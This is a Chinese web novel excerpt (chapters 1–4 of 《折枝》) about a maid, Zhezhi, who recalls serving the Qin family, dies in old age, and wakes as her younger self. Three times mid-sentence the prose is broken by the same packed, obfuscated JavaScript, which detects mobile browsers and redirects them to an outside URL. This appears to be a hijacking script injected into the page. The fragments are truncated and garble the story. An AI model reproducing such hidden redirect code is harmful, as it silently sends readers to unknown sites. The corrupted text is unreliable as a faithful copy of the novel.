《折枝》 1. 初见 云似纱缎，挂在同碧彩穿花蝶瓶一个色的天空中。 崔明姮在院子里和丫鬟们玩竹球，指挥着丫鬟们去梧桐树下拾起。 秋日梧桐开始落叶，金色从树梢倾洒下来。崔明姮见丫鬟小厮们都快跑不动了，便扭着屁股倒腾短腿向前，自己捡回那竹球。 她扎着双丫髻的乌发上系着两根杏色的发带，缀着小珍珠，华贵无比。 只是华贵的发髻被她抹汗抹得散开，还沾上一片落叶。 崔明姮是安乐坊崔家的小霸王，是太师崔远之的掌上明珠，崔家上下，无人不唯她是听。此时崔明姮头上沾了落叶，无人敢出声提醒，唯恐崔明姮发火。 “来，小姑娘，你走近些！” 矮墙上不知道何时挂着个脑袋，花白的头发下的一张脸笑眯眯的。 崔明姮眯了眯眼睛走近，想起母亲的叮嘱。 听说祁阳王府来了位沈嬷嬷，同祁阳王老王妃是故交。祁阳王带兵在外，京中的府邸只有一位老王妃还住着。圣上悯老王妃孤苦无依，便允她召见大臣内眷，位同太妃。 崔明姮乖乖走近，随手将放在角落的她的小躺椅放在矮墙下。 抬起杏眼一动不动地望着那个奇怪的老妇人。 那老夫人穿戴并不贵重，可气度雍容，笑起来十分和气。 她揭起棕褐色的云纹绸缎褙子，一个翻身就跳下矮墙，正好落在崔明姮搬过来的小凳子上。 沈嬷嬷嫌她的小椅子太小，拍拍屁股便坐在墙角的台阶上，笑起来一脸褶子，溢满阳光。 “好孩子，多谢你了。” 崔明姮年岁小，又被娇宠着长大，被纵得无法无天，老是拿鼻子看人。 沈嬷嬷看见她一副小模样，也不恼怒，甚至还拍了拍手称好。 “你祖父可是崔太师崔远之？” 崔明姮不知道她祖父究竟叫什么名字，只知道府里的人都叫他太老爷，府外来的人都叫他崔大人。她翘起小嘴，晃晃白白嫩嫩的脸蛋。 “我祖父才不是崔远之，他叫……”崔明姮歪着脑袋想了许久，她虽然是从外面掉进崔家，但进了崔家就是崔家人了，主要是她还没学过崔字怎么写……要是眼前的人跟她爹娘一样无端考察她…… 她肯定道：“我祖父叫大老爷！” 沈嬷嬷笑得脸上的褶子更加合不拢，可笑着笑着竟然笑出了泪花来。她一脸惋惜看着崔明姮，浑浊的眼睛几乎目不转睛，快要将崔明姮看穿。 看了半晌，沈嬷嬷终于凝住，喃喃出声：“难怪有故人之姿，竟是故人之子。” 崔明姮听不懂她嘴里念叨着什么，只是反复强调：“我不是儿子，我是女儿！我爹娘说了，我是他们的宝贝女儿！” 可沈折枝忘了，她的故人早就死在苦寒之地，一生守节。眼前的小娘子，只不过是故人之兄的孙女，眉眼当中，有几分像崔彦林罢了。 脾气倒是不像。 崔彦林向来内敛，必然不会像她这样跋扈骄傲。 沈折枝笑着闭眼，拭去眼角那滴垂下的泪，接着又收敛神情看向崔明姮。 沈折枝摸摸她的脑袋，为她摘下落叶。看着崔明姮那双有些不解的眼睛，似乎很介意对方摸自己的脑袋，也很疑惑。但因着她年老辈分大，便抿着唇什么都没说。 沈折枝仰头看矮墙旁边那棵树，有些年头了。 可惜岁岁年年树相似，年年岁岁人不同。大抵是有些触景生情，沈折枝笑了笑，看向崔明姮的眼睛里充满慈爱。 “小姑娘呀，听嬷嬷给你讲故事。” 她眼睛里闪过异样的光彩，变得不再浑浊。 “嬷嬷第一回见他啊，也是这样一个场景。” * “你们谁，快去帮本小姐去捡回来！” 少女的娇喝声响起，如同春日里的盘旋着的莺儿一样清丽。 可却无人分心欣赏这妙音。在场的他人，除了娇喝的少女，全作一副下人打扮，全身粗布衣裙，少有那么两个女孩儿爱美，在梳就的发髻上添上那么一两个不起眼的簪子。 太过招眼，必得主家不喜。 秦家下人深谙此道，于是在秦明月喊人翻出墙外去捡那竹球时，无人敢应答。都像个鹌鹑似的垂着头惶恐地摆着脑袋。 秦明月双手叉腰，看见一群下人皆无胆色，更加愤恨。 若是平常的竹球，出了墙外，不要那便不要了。可刚刚不小心抛出去的竹球，是爹爹送给她十二岁的生辰礼物。是世间绝无仅有的。 她撅着朱唇，任凭白牙狠狠挫着口上从冠芳楼抢来的时兴的口脂。 可若是自己去捡，如此这般，岂不是丢了自己的脸面。 秦明月烦躁的很，想要发作，一脚准备踢到旁边的桂树上，抬腿抬到半空中忽地想起自己这双鞋子可是蜀锦做的，缀着的珠子是特地从南边运过来的，颗颗浑圆，珍贵异常。发火事小，若是不小心蹭掉一两颗珠子，她不知要被爹娘骂成什么样。 正在秦明月快要烦到伸出巴掌扇人时，终于有人发出声音。 是个小丫鬟，她探出脑袋，清秀的脸上带着谄媚的笑容弓着身子走近秦明月身边。 秦明月皱着眉打量她，只看见那小丫鬟立刻郑重其色自报家门。 “奴婢是小姐院子里的洒扫丫鬟，六岁被卖进秦家，名叫折枝。” 秦明月见她有几分胆量，冷哼一声，眼里却带上几分欣慰。 “那你去帮本小姐捡回来竹球，本小姐一定重重有赏。” 折枝堆着笑对秦明月疯狂点头。 她不信奉秦府里其他下人的不招眼道理，她只愁要是一辈子唯唯诺诺不敢声张，她恐怕就要做一辈子的洒扫丫鬟了。洒扫丫鬟月例银子低的可怜，她算了一算，这样下去她得到六十岁才能攒够赎身的银子。 可她时常看着墙外的平民百姓生活得自由，哪怕是沿街乞讨的乞丐她也觉得羡慕。 所以，东西都是靠自己争出来的！ 折枝凭着自己多年洒扫院子的经验，找到墙边最好爬的一处。她身形瘦弱，稍微一使劲便迁跃至墙头，她沿着树梢一跃而上，终于看见那系着流苏的竹球躺在树下。 折枝一手抓着树枝，另一只手伸手去够那竹球。 倒也不是她不想下去，实在是这树底下是在没有岔子，她怕下去了，就上不来了。 折枝灵机一动，折下树上稍长些的枝桠，再斜身往底下够，终于快要够到那竹球。 树下不知道什么时候来了几个人，看折枝这样捡球实在是无奈，于是看不过去走到竹球前拾起竹球递到折枝手边。 折枝一把拿过，道谢的言语凝在喉间。 只见那少年一身锦衣华服，容色惊人，气度同样不凡。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533271|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 哪怕从树上往下看，也可轻易看出少年身形纤长，乃是芝兰玉树之姿。 似是未曾及冠，乌发挽起一半用了根玉簪固定住，另外一半则垂在身后，随着清风四散着。 他长睫垂下，打在鼻骨之处散下一片阴影。鼻梁之上，还有颗不那么明显的小痣，衬得他人更加清冷。 少年身后又跟着个华服公子，抱臂缓缓而来。他目露嘲讽盯着折枝，看她一身丫鬟打扮，眼神更加不屑。 “秦家的丫鬟？叫什么名字？你可知道你方才惊扰的究竟是哪家的公子？” 折枝本来被少年的容貌惊住，可到后面想到他是哪家贵族世家的公子哥儿，顿时慌得都快要落泪了。那一瞬间，她心里再没有什么赎身什么自由的想法了，而从始至终只有一个念头，她完了，完了。 折枝欲哭无泪，颤着声音答道：“奴……奴婢折枝，惊扰公子，实在罪该万死。” 如果树梢是平地，她此刻早已跪下磕头，此情此景不把额头磕破怕是难以得个善终了。 替她捡起球的那个少年却没有责怪她的意思，朝着她摆摆手。 “你回去吧。” 纵然是那个少年没有追究，可同他一起前来的那个少年却不肯放过她。 折枝回到院子里就先同秦明月讲了出去的事情，跪在地上大气都不敢出。 她原本以为秦明月会立刻勃然大怒，可她没有，她也跟着折枝一样发愁。她踱步前后，似乎难办的很，嘴里也跟折枝方才嘴里念叨着的一样。 “完了，完了啊……” 秦明月乃是工部尚书秦佩的掌上明珠，秦佩与夫人只有这么一个孩子，于是千娇万宠着长大。本来女孩娇气些倒也没什么，只是近来不知道从何处来的传言说他家女儿嚣张跋扈，顽皮淘气，目中无人。 秦尚书对此话深恶痛绝，现在秦明月眼看着到了适婚年纪，夫妻俩发愁秦明月未来的婚事没有着落，便痛下决心好好管束管束秦明月的脾气。 此时传出秦明月在院子里玩竹球还命丫鬟出去爬树惊扰了外人，秦明月的腿怕是不保了。 果然，秦明月还在凉亭里锤石桌子，便听见秦老爷旁边的周管家恭恭敬敬开口：“小姐，老爷叫您去前厅。” 秦明月闭上眼睛，似乎已经绝望，慌乱当中握住折枝的手带着折枝前去赴死，大有一种但求同年同月同日死的决心。 秦明月的手极其柔软，不似她的上面长满厚茧，摸起来膈人的很。 折枝微微一笑。虽然大家都怕这个跋扈的小姐，可折枝却不害怕，因为秦小姐最凶的时候，也不过只是扇人巴掌。 娇小姐哪有力气？卯足了劲也不过不痛不痒罢了。 可她听说别的主家磋磨下人，轻则打骂，重则发卖。那种打骂可和秦小姐的天差地别，是真的要见了血的，发卖也指不定发卖到什么地方，被买到窑子里更是跑都跑不出来。 况且，就连秦家给下人的银子也比其他府上给的多些。 折枝想，秦小姐是个好人。 折枝安慰秦明月，“小姐，你放宽心，你不会有事的。” 话是这样说，秦明月毕竟是主子，事是肯定没有的。 秦明月泫然若泣：“折枝，你可真是个好丫头，以后就来我身边做事吧！” 如同丫鬟们最喜欢的那种话本子描写的那样。 2. 折枝？ 几人移步到前厅，廊前的海棠花开得正艳，粉云似霞。 午前被花房的小厮撒过了水，像美人滴泪般惹人怜惜。 折枝垂着脑袋不敢抬头，只敢低着头看脚下的路。细数着究竟要走多少步才能来到待客的正厅，未到两百步，便听见秦老爷在里面怒喝。 “秦明月！” 老爷鲜少全名称呼秦明月，想来应该是气急。 折枝只好和秦明月一样拎着裙子往前厅跑。 秦明月一身粉衣，妆花锦上织就了海棠花，头上也簪上了一支金海棠珠花步摇。跑起来既似一只花蝴蝶翩迁，也像一朵海棠花绽放。 折枝暗暗咋舌。只是小姐这朵海棠花，似乎也要如同庭中的海棠花一样落泪了。 秦佩看见秦明月小跑过来，毫无淑女仪态，更是气得呕血。 合着前段日子教她的礼仪全部忘在脑后了！ 秦佩一甩袖子，眉目冷硬别开脸不再看秦明月。若不是有厅中坐着的两位少年，恐怕他现在早已经发作。 秦明月快步到了前厅，见到还有别人，才陡然想起在外人面前要有礼些，便屈了屈身子。 “见过父亲。” 她转过身，看着端坐在下的两个贵公子，不情不愿地继续行礼。 “见过崔公子，李公子。” 折枝低着头跟着秦明月动作，可听见崔公子的那一刹那失了神，不过很快收敛。 她想，原来那个公子姓崔。 秦佩冷哼一声，看向秦明月的目光中充满失望。 “明月，你可知道为父为何唤你前来？” 此刻怕是想不知道也得知道吧。 折枝看见秦明月的笑脸僵住，脸上带上苦涩，似乎已经开始预想自己待会究竟会受到怎样的惩罚。 本来玩球事小，丢到墙外也事小，喊丫鬟出去捡更是无伤大雅，错就错在崔彦林和李勤两个，偏偏就来了秦家，还恰好看到了那一幕。 她还在编纂措辞，却听见身边“咚”的一声跪了个丫鬟，正是折枝。 折枝往地上狠狠磕头，鲜血沿着额角从她小巧的脸上滑落。 “老爷，不关小姐的事！是奴婢贪玩偷玩小姐的竹球，不小心丢出墙外，出去捡球不小心唐突了二位公子！小姐什么也没做！是奴婢！” 秦佩才认真看着跪着的丫鬟。身形瘦弱面黄肌瘦，年纪比他家明月还要小上几岁。他其实知道今日发生了什么，若是遇到个不计较的人轻轻揭过便好了。 可那李家的小子一直揪着不放，他又不忍心真的惩罚秦明月，有这么个替死鬼就算好了。 崔彦林身边那个华服公子听见这样的解释明显不相信，站起身还欲开口，可被身边的崔彦林一把拉住，附在他耳边说了一句得饶人处且饶人。 李勤面上本还有不服，不过听了崔彦林的话之后也不再计较。 总之他的目的是想让秦明月难堪，就算没让她丢脸，让她死个丫鬟她心里肯定也不好受。 李勤冷哼一声，看着地上跪着的折枝目露鄙夷。 “按我大乾律令，凡是偷盗主人财物的贱奴，责打五十大板。” 秦明月因为折枝的救场感激不已，恨不得当场塞给折枝一把金瓜子。她听见李勤开口，秀眉微蹙，不悦地看着他。 “只是偷玩，又未曾偷走，如何能算偷盗？” 李勤呵呵两声，揭开衣袍缓缓坐下，目光看向秦佩，“姑父大人，小辈以为，既然沾了个偷字，必定要按照偷盗处理。如若不然，这些下人怕是不长记性，继续盛行偷盗之风。偷盗之风盛行，大人怕是家宅不宁。家宅不宁，如何处理家国之事呢？” 秦佩额角一跳，就怕眼前这小子立刻给圣上递折子参他一本。 他看着地上跪着的折枝，瘦弱得像只小猫。 五十大板下去，那小丫鬟怕是连命都没了。 他闭了闭眼，艰难开口：“那就拖下去，打五十大板吧。” “等等……” 还未等到前来的小厮，就听见在旁边坐着的崔彦林开口。 他的声音不疾不徐，仿若空山玉碎，响在折枝的身后。 折枝趴在地上看着自己往下滴的鲜血，心里杂念纷纭。一个声音说她还不想死，赶紧求求老爷小姐公子少爷开恩。 另一个声音却说，她不过贱命一条，现在不死，难不成还要以后活者吃够了苦头才肯死吗。 “秦大人，小辈以为，五十大板着实有些重了。”他垂眼看折枝，嗓音淡淡的，“孟轲言：‘老吾老以及人之老，幼吾幼以及人之幼’，秦小姐的丫鬟虽为下人，可年纪不过总角之年，不知世事。又是初犯，依小辈之见，以儆效尤，打个二十大板便好。” 二十大板也不算轻，的确可以达到以儆效尤的程度。 折枝愣住刹那，脑中的天人交战终于有一方胜利。 从前她不明白有钱的人想活得久一些就罢了，为什么那些过得苦没钱的人也要卯足劲了去活着呢？ 此刻她才明白，人只要活在世上，那便有求生的本能。 折枝眼里立刻蓄满泪水，朝着崔彦林的方向连声磕头道谢。 “感谢公子大恩！折枝此生永不忘公子恩情！” * “然后呢？然后那个折枝和秦小姐到底死没死啊？” 身旁天真的童音传来，令沈折枝从回忆里抽离，她才明白那些事情已经是很久以前的事情了。恍然隔世，却记忆犹新。 死没死？ 沈折枝想起跋扈的秦小姐死在最美好的年纪，她这个奴婢反而活到现在，一把年纪仍然苟延残喘。万事难料。 大乾开元四十三年，工部尚书秦佩因修堤之事惹得圣上震怒。当年江南水灾，堤坝溃泄，无力蓄水，百姓几乎民不聊生。 圣上派人彻查此事，列下秦家贪污银两，受人贿赂，严苛待人，不忠不孝……等三十条罪名。 最终圣上震怒，下令秦家男子入狱，女子全部充为官妓，家产全数充公，下人发卖。而秦明月和其母亲不忍为妓，只好自刎于秦家门前。 折枝那时候年纪小，牙人一看见她就可预见她日后长成必定容色不俗，于是将她卖入乐坊。折枝便成了乐坊里的乐伎，弹得一手好琴。随着年岁渐长，就成了第一琴手折枝姑娘。 适逢右相之女薛泠嫁入祁阳王府，根基不稳。 入府第一天便听见折枝姑娘的琴声，之后念念不忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533272|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 薛泠在府中举步维艰，一开始只是召她们前去消忧，最后竟然迷上了折枝姑娘的琴音，一掷千金为她赎身。 说是迷上她的琴音，实则是因为薛泠身边没个她能说话的人，反而将心事说给沈折枝。一来二去，索性就把她赎下来了，安置在府中陪同她一起处理家长里短。 她们说是主仆，更像朋友。等薛泠根基一稳，沈折枝就离开了。 如今年老，反而回忆起少时的情分，薛泠不知道哪来的沈折枝的消息，便递了话来探望她一探望。 沈折枝走在过去走过无数遍的王府，看见内里竟然没怎么变。看见那矮墙，如何也抑制不住回忆翻涌。她不顾身后女使小厮的劝告，硬生生爬上那矮墙，翻过了一道又一道。 于是见到了眼前的崔明姮。 崔明姮见沈折枝不回答她，嘴巴撅得老高，伸出白胖胖的小手推搡了下她让她回神。 “后来呢？” 沈折枝微微一笑，慈爱地看着眼前的小团子。她并不想同这样小的孩子讲如此残忍的现实。 她温声道：“后来呀，秦小姐活下来了，折枝也活下来了。大家开开心心地生活在一起了。” 崔明姮皱了皱小鼻子，有些不相信她的话。 “那你是怎么知道的？你是怎么知道秦小姐和折枝的事情的？难不成是从哪个话本子里面看来的吗？” 沈折枝现在已经开始有些神情恍惚了。她又无端想起那秦小姐生前的笑脸，想起薛泠递来的话里有让她不得不来的缘由——那就是她要死了。 沈折枝又想到自己，活这一生，从一个籍籍无名的洒扫丫鬟到了如今，怎么算也是难得的。 薛泠即将寿终正寝，那么她呢？ 她头痛得很。当年十载乐伎生涯，已经伤透了她的身子。年纪一大，身上病痛就难免，来祁阳王府之前她就察觉到似乎自己也时日无多了。 沈折枝好不容易回神，艰难回答了崔明姮的问题：“因为，我就是折枝呀。” 她抬头看着梧桐树的落叶落下，眼神逐渐迷离，可心却从未有此刻一样的踏实。 若是说起她还有什么遗憾，那么就是她还未曾报那位公子的恩情。 他死在异国他乡，除了她沈折枝外无人记得，她千里迢迢前去给他收尸，却只发现他的衣冠冢。 她在他衣冠冢前哭了三天三夜，最后拔下自己头上的簪子，掰成两段埋入崔彦林衣冠冢旁边的土里。 “妾身折枝，送公子一程。” 她一直以为梁山伯与祝英台的故事只不过是传说轶事罢了，却没想到她跪在他坟前哭得昏天黑地，竟然真的看见一只蝴蝶停留在她的发梢。 思绪回笼，沈折枝看见落叶翩迁而来，又像一只蝴蝶，落在她的掌心。 如果有来世，她未曾沦落贱籍，他未曾远走他乡，他们是否能有个结局？ 死在崔宅，算她得偿所愿。 可终究是不想死的。 沈折枝神思早已涣散，唯独还剩下一点点听觉。 她听见身侧有人唤她，声音听着有些熟悉，应当是个年轻女子，只不过沈折枝不为所动。 那女子又唤一声，“折枝？” 3. 救人啊！ 沈折枝脑子有些迷糊，睁不开眼睛，只能艰难张开嘴巴询问：“我是不是要死了？” 年轻女子扑哧一笑，似乎是听见什么天大的笑话。 “折枝啊，你放心，你命大死不了。崔公子心善，替你求了情，还为你请了大夫呢。方才大夫才走，说你是有些发热，不妨事的。只是让我记得要时常喊着你，别让你睡过去了。小姐也发了话，说是你养伤的日子里，不让你干活，等你伤好了，还要你去她身边去做她的贴身丫鬟呢！” 沈折枝无意间呓语：“柳红，我头好疼。” 柳红立马搭过手来放在她的头上，她的手掌微凉，比起她的额头稍硬。凉意从头顶传来，让她清醒了许多，她的思绪又开始飘转。 她记得她方才不是在崔府给崔明姮讲故事么？怎么躺在床上？难不成快要死在崔家，被崔大人命人抬上床等死？ 不对，她方才梦呓，喊了一声什么？ 沈折枝试探性开口，有些不确定：“柳红？” 女子闻言嗯了一声，当她是病重离不得人，安慰她轻道：“我在呢折枝，你别害怕，你没事的。” 沈折枝想起自己的声音，年轻稚嫩，并不像垂垂老矣的声音，而像个未曾及笄的少女，最多十来岁。她被屁股和背上传来的剧痛折磨得不得安宁，于是觉得这一切都不是假象，而是真的。 她死前遗憾未能和崔彦林有个善终，上天垂怜，竟叫她真的重活一世了么？ 她鼻头一酸，眼泪不争气地往外冒，沾湿了她的粗布褥子。 褥子下垫着稻草，是为了让人睡起来软和些，此刻有的已经冒出头，扎在她脖颈处，有些痒呼呼的。 柳红看着她流泪，心也跟着抽抽地疼。 她一向善良，看不得别人落难，看见沈折枝痛苦的样子，似乎都能感同身受了。 “折枝，很疼吗？” 她沉默一瞬，撩起袖子贡献出自己洁白的小臂，“你要是实在疼得紧，那就咬我吧。” 她脸上一副舍身取义的表情。 “你身上才上过药，疼是难免的，咬我事小，可千万不要乱动。大夫说了，乱动之后伤口摩擦，不易于好。” 沈折枝流过泪之后终于能够睁开眼睛，她定定望着柳红，一动不动，望得柳红都有些羞赧。 “怎么了？” 沈折枝又哭又笑，“柳红，这一切都是真的吧？我没死……”你也没死。 她话说到一半，眼角不知为何又开始泛起泪花。 年老之后万事都看淡了，哭的时候少之又少，总觉得哭泣无用。可当真的有机会重活一次，她又难以像曾经一样抑制感情了。 这样善良的柳红，以后因为救一只狸奴冲撞了贵人车马而被活活打死。 不过，打死她那个贵人，倒是和她有几分恩怨。 柳红觉得沈折枝是方才发热烧得脑子都有些傻了，她伸出手到沈折枝眼前晃悠晃悠，才迫使她回神。 “折枝？你别怕是被烧糊涂脑子了？你可在床上躺了好几日了，每次醒来不了一些时候，便又睡过去了……”她有些慌张地碎碎念，“大夫应该是还没走远，你等我去前面追他回来。若是烧傻了，那我该怎么和小姐交代？” 柳红站起身，真的准备去将前脚才走的大夫追回来，却被沈折枝拉住衣角。 “柳红，我没被烧坏脑子，只是现在有点迷糊了。”沈折枝苍白一笑，“我没有死实在是太高兴了。高兴得又更加糊涂。对了，你今日怎么在陪着我？” 柳红嗨呀一声又重新坐下，看她眼睛清明起来终于放心下来。 她为她理了理褥子，又为她整了整发角。 “小姐心善，知道你一人不便于养伤，便托我照顾你。我本来也没什么多的差事，索性就和管事姐姐说了情留下来了。”柳红越说越来劲，“对了，小姐今日前去赴宴，说晚上回来要来看看你呢。” 沈折枝闭上眼睛假寐，想到如此殊荣，大概是前世第一回见到崔彦林时挨到的那回打。毕竟她在秦家挨到最重的打也只此这么一回。秦明月的确很欣赏她，待她做了贴身丫鬟之后鲜少受罚，全依仗秦明月庇护。 想来如今离秦家倒台，还有个几年时间。 秦家开元四十三年抄家，如今不过四十一年，也就是两年时光。昔日不可一世的秦大小姐，即将变作刀下亡魂。 而她被发卖乐坊，十载光阴，实在让她毕生难忘。 柳红絮絮叨叨的声音响在她的耳边，像棉絮一样柔柔轻轻的，塞在她的耳边，让她什么也听不清。脑子清明了那么一会儿，又逐渐糊涂起来。 假寐时间久了，竟也成了真睡。 柳红不知道还在说些什么，总之话匣子一被打开便如何都止不住了，她为掖好被角时才发现折枝早已睡熟。她新的话停在喉间，最后转为一抹笑。 昨日夜里下了雨，小姐回府的时候来过问过折枝，只是听说她还在睡觉就嘱咐柳红好好照顾折枝，没真正看过。 海棠花淋了雨，花瓣打散了一地，仍旧挂在枝头的则被雨水滋润，绿肥红瘦，变得更加娇艳。 折枝今日已经能够下床。 用曾经在乐坊被那些乐官骂的话是她们本就是贱皮子贱骨头，挨打了自然好得快些，哪里像别人一样娇贵呢？ 既然能够下床走动，折枝就让柳红去继续做事去了，不必管她。秦小姐厚待她，不意味着她能忘恩，并且理所当然地接受这份厚待。 也就秦小姐毫无心机，秦家人和善，别的府中恨不得推她出去做替死鬼一了百了，哪里会有她主动邀功的机会？而且还恨不得斩草除根打死算了。 折枝低垂着头一瘸一拐往前走，果然在假山后看见正在玩球的秦明月。 秦明月看见来人是折枝，脸上带着几分真心实意的雀跃。她连忙将手中的竹球塞到身边的翠云手中，立马招呼折枝起身，不必太过拘礼。 折枝不卑不亢道：“小姐对折枝有恩，折枝不敢忘却。小姐是主，折枝是仆，折枝见小姐不敢无礼，有违礼制，更是逾矩。” 秦明月挑起用黛粉画得细长的眉毛，看起来有些惊讶。 “你这丫头，哪里学的这么文绉绉的话，听得本小姐头疼。” 折枝一愣，想起自己如今不过是大字不识几个的小丫鬟，而不是前世那个为了附和达官贵人而故意学了些诗词语句的折枝姑娘，更不是跟在薛泠身边博览群书才学绝艳的沈折枝。 她五岁之前同母亲一起生活，母亲是有些才学在身上，故而她倒也识得几个字。不过那时候她年纪还是太小，母亲教的都记不住，也仅仅识得几个字而已了。后来母亲身死，她卖身葬母被人牙子挑中，转手被卖进了秦府。 等进了秦府，更是没有机会习字。 凭她前世这个年纪的那些阅历，如何能说出这样一番话？ 所幸秦明月没有什么心眼，疑心重的人早已开始怀疑她这个丫鬟究竟为何能说出来这些。她沉下一口气，暗中庆幸自己早些发现了这个问题。 折枝笑得谄媚，跪服于地。 “奴婢昨夜梦见和阎王爷大吵了一架，阎王爷说他不收奴婢这样的小鬼。奴婢感谢阎王老爷的不收之恩，他说若是真的想谢，那就回去好好伺候小姐回报恩情。这不，奴婢一能下床，马不停蹄前来面见小姐。方才那番话，就是阎王老爷教我的哩。” 秦明月被折枝这话逗得咯咯笑，也无心继续玩球。 她抬腿往凉亭里跑，香汗淋漓。 坐到石凳子上才堪堪喝了一口茶水，秦明月又有些苦恼地开口：“父亲最近给我寻了门亲事，我就连人都没见过。非说是我还没长大不够安稳，定下门亲事心也跟着定下来了。人他见过了，前些年的新科进士，姓冯，在翰林院做学士，人品端庄。家中只有一位老母亲，年老体弱，说是我过去了不必害怕受欺负……” 秦明月越说越气，狠狠将手中的青瓷杯掷在石桌上。青瓷杯在石桌上轱辘转了个圈儿，最后停在一处，并未损坏。 折枝极有眼色，连忙扶正那个青瓷杯子，宽慰秦明月道：“小姐莫恼，奴婢觉着这个冯学士呀，听着倒是不错。” 她往旁边看一眼，似乎在给站在她身侧的翠云使眼色。 翠云聪明的很，立刻明白折枝的意思，连忙接过话头絮絮叨叨地夸着冯学士如何如何好。 “小姐……那冯学士家中唯有一老母，年纪大了，身子也不好，您熬过去，冯府上下岂不是全凭小姐你安排……” 而折枝表面上在听， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533273|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里却仔细琢磨着这个冯学士。前世秦明月到死并没有成婚，倒是被男方退过一门婚事，名声彻底坏了。不过退婚之事，好像事出有因。 前世折枝为了偷懒特地多养了几日的病，一开始就没有在秦明月身边伺候，所以不知道秦佩竟然在此时就为秦明月定下了婚约。 秦明月的未婚夫叫做冯铭，前世她和他接触并不多。只是在她认识的达官贵人当中，曾经有人赞美冯铭品德高尚。 贫贱不能移，威武不能屈。 更是为早亡的未婚妻当了一辈子鳏夫。 人死如灯灭，好似汤泼雪。 秦家覆灭多年以后，无人再记得延康坊还有这么个鼎盛一时的秦家，而只有曾经侍奉秦家的下人记得。 折枝想起自己曾经好奇，于是举杯问宾客冯铭的未婚妻究竟是何人物，那宾客支支吾吾半天什么只说不知道。 折枝手上的动作一滞，目光汇聚到一处，紧紧盯着秦明月。 秦明月被折枝的目光盯得心里有些发毛，想要发怒，但想起折枝身上还有伤口未曾愈合，于是轻咳两声。 “折枝，你这样看着本小姐做什么？本小姐脸上有花吗？” 折枝意识到方才的举措是有些不妥，只不过她只是猜测出一些端倪有些激动。她眼睛一转，讨好地看向秦明月。 “不瞒小姐，阎王老爷在梦中还教过我观面相之法，奴婢方才替小姐看相。看出小姐春光满面、容光焕发，想必最近是有桃花运。” 上辈子讨好人的话学了个遍，如今简直是信手拈来，脑子都不需要动，张口就来。 秦明月让翠云拿出镜子，自己照了又照。 果然见到那镜中的妙人儿人比花娇，比那娇艳欲滴的海棠花更加惹人怜惜。 折枝见秦明月已经被她说动一些，脸色一下变得肃穆起来，似乎算出了什么不得了的东西。 秦明月长睫如蝴蝶扑闪，咬着唇发问：“你还算出来什么别的了？” 折枝捻着手指，郑重其色道：“奴婢看出小姐虽有桃花运缠身，可其中有一个乃是孽缘，最后无疾而终。而另外一个是小姐的正缘，可惜落花有情，流水无意。” 此话虽然是折枝编纂的，可确有此事。 秦明月喜好蹴鞠，喜欢蹴鞠踢得好的人，于是前世在宴会上一眼看上了户部侍郎林家的林觉，可林觉听闻秦明月跋扈名声在外，不喜于她。而冯铭为秦明月一生未娶，想必心中是钟情于她的。 秦明月听不懂这些劳什子，只能听懂什么正缘孽缘。她握住折枝的手，一脸激动惶恐发问：“那你说说我的正缘是谁，孽缘又是谁？” 折枝叹了一口气，“小姐莫非已有心上人？” 秦明月感觉自己的心跳的很快，似乎是被戳中心思。 她红着脸羞怯点头，看见折枝摇头时心刹那间跌至谷底，浑身发冷起来。 折枝摇头，脸上一副天机不可泄露的表情，过了很久才缓缓开口：“小姐的心上人可是姓林？” 秦明月呼吸一滞，立刻明白折枝的意思。 不过幸好自己也没见过林觉几回，只是心里有那么一两分悸动罢了。 秦明月苦涩一笑，片刻过后便收敛好了神色，目光希冀地望向折枝。 她那双潋滟的桃花眼望着折枝，莫名有种深情的意味，看得折枝有些不自在地摸了摸鼻子。 “折枝，那你能告诉我我的正缘是何人吗？” 折枝避开她的视线，最后皱着眉头掐指算了半天。越算她眉头锁得越紧，似乎正在和天机做斗争。 折枝痛苦开口：“小姐，老爷为你定下的婚约的冯学士是否叫冯铭？奴婢……奴婢算出，他就是……咳咳，你的……正缘。” 折枝说到后面，越说越艰难。只见她四肢抽搐，脖颈好似被人掐住，呼吸困难，甚至翻出白眼，吐出舌头，十分可怖。最后往外吐着口水抽搐了几下倒在地上，似乎晕了过去。 秦明月原本是不怎么相信的，如今见到此景信了大半。只因为她也才听母亲说起冯铭这个人，折枝不可能知情。况且林觉那事，只有她的一群姐妹和身边的贴身丫鬟翠云知道。 那么就只有一个解释，那就是折枝真会算命！ “救人啊！” 4. 送贴 沈折枝晕在地上，秦明月命人把她放回耳房床上，又请了大夫给她看病。 那大夫不是崔彦林替她请的那个，而是另有他人。大夫一摸沈折枝的脉搏便皱着眉说她身体亏空得厉害，想必是最近受了重创，万要记得好生歇息。 